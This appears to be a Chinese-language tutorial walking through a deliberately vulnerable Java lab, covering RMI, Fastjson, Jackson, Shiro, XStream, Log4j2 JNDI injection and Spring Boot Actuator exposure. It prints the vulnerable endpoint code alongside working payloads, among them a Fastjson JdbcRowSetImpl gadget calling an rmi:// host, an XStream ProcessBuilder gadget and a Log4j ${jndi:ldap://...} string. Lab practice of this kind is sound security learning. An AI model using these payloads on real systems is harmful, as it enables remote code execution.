1.RMI

RMI:远程方法调用注册表

@RequestMapping("/home/deserialize")
public class RMIRegistry {

    @RequestMapping("/rmi")
    public String rmi(int port, Model model) {
        try {
            Registry registry = LocateRegistry.createRegistry(port);

        } catch (Exception e) {
            e.printStackTrace();
        }
        return "deserialize/rmi";
    }

    public static void main(String[] args) {
        try {

            Test stub = new TestImpl();
            Registry registry = LocateRegistry.createRegistry(1099);
            registry.bind("test", stub);
            System.out.println("绑定1099端口成功");


        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }

}

可以远程加载实现你自己vps上的恶意rmi服务,这里执行不了,看一下代码就行了,生成的远程rmi对象是用工具生成的,生成之后出插入文本框即可,下面有介绍

2.Fastjson

Fastjson 是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean

源码

  @RequestMapping("")
    public String fastJson(@RequestBody String content) {
        try {
            // 转换成object
            JSONObject jsonToObject = JSON.parseObject(content);
            return jsonToObject.get("name").toString();
        } catch (Exception e) {
            return e.toString();
        }
    }

解析系列化的对象,这里传入的payload

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://192.168.22.135:1099/5myikk","autoCommit":true}

@type后面跟着的是需要实例化对象的类,dataSourceName后面跟着的是你要远程加载rmi对象,而最后就是知autoCommit目的是调用connect() 方法执行 InitialContext.lookup(rmi地址),访问你虚拟机上的恶意 RMI 服务;一步不可少

其中生成的rmi远程对象是工具生成的,这里是本地搭建的环境工具地址https://github.com/welk1n/JNDI-Injection-Exploit

执行的是calc命令,每个都可以试一下,这个jdk版本限制的很严格

3.Jackjson

和Fastjson是一样的都是用于创建解析json的字符串的第三方库,源码

@RestController
@RequestMapping("/home/jackson")
public class Jackson {

    @RequestMapping("")
    public String vul(@RequestBody String content) {
        try {
//            content = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Basic/Command/calc\",\"autoCommit\":\"true\"}]";

            ObjectMapper mapper = new ObjectMapper();
            mapper.enableDefaultTyping();
//            System.out.println(content);
            //mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);
            Object o = mapper.readValue(content, Object.class);
            mapper.writeValueAsString(o);
            return "解析成功!";
        } catch (Exception e) {
            e.printStackTrace();
            return e.toString();
        }
    }
}

直接修改其中的rmi为你自己生成的Fastjson一样的rmi对象

执行成功,这里两个序列化出来的对象有差别因为为不同的第三方库

漏洞原因:造成漏洞的原因是因为 Jackson-databind 支持 Polymorphic Deserialization 特性(默认情况下不开启),使得我们能够指定类名

4.Shiro

Shiro的测试,shiro有一个关键的识别功能的地方

关键字眼rememberme

如果密钥简单为默认密钥直接爆破就能成功,这里直接用shiro的工具梭哈就行了,爆破出来就能利用成功,爆破不成功就跑路

5.Xstream

XStream是一个轻量级、简单易用的开源Java类库,它主要用于将对象序列化成XML(JSON)或反序列化为对象。

XStream 在解析XML文本时使用黑名单机制来防御反序列化漏洞,但是其 1.4.16 及之前版本黑名单存在缺陷,攻击者可利用sun.rmi.registry.RegistryImpl_Stub构造RMI请求,进而执行任意命令

@RestController
@RequestMapping("/home/xstream")
public class Xstream {
    @RequestMapping("")
    public String vul(@RequestBody String content) {
        try {
            XStream xs = new XStream();
            xs.fromXML(content);
            return "XStream Vul";
        } catch (Exception e) {
            return e.toString();
        }
    }
}
<sorted-set>
	<dynamic-proxy>
		<interface>java.lang.Comparable</interface>
		<handler class="java.beans.EventHandler">
			<target class="java.lang.ProcessBuilder">
				<command>
					<string>
						calc
					</string>
				</command>
			</target>
			<action>
				start
			</action>
		</handler>
	</dynamic-proxy>
</sorted-set>

6.log4j

Apache的一个开源项目,是一个基于Java的日志记录框架

Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径,攻击者可以在界面传入一个包含恶意内容的ldap协议内容(如:${jndi:ldap://localhost:9999/Test}),

该内容传递到后端被log4j2打印出来,就会触发恶意的Class的加载执行(可执行任意后台指令),从而达到攻击的目的。

源码

@RestController
@RequestMapping("/home/log4j")
public class Log4j {
    private static final Logger logger = LogManager.getLogger(Log4j.class);

    @RequestMapping("")
    public String log4j(String content) {
        logger.error(content);
        return "Log4j2 JNDI Injection";
    }
}

因为他默认解析ldap/rmi协议,因此也是和上面一样的操作,只是传入的方式不同

7.Spring Boot Actuator

Spring提供了一个Actuator模块帮助开发者监控和管理SpringBoot应用,比如健康检查、审计、指标收集、HTTP跟踪

但是由于配置不当可能会泄露/actuator这个路径,当然这个路径泄露不是主要的,主要的是/env和/heapdump这些敏感文件

Springboot框架里面可能存在历史cve漏洞,可以直接用自动化工具检测就行了

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐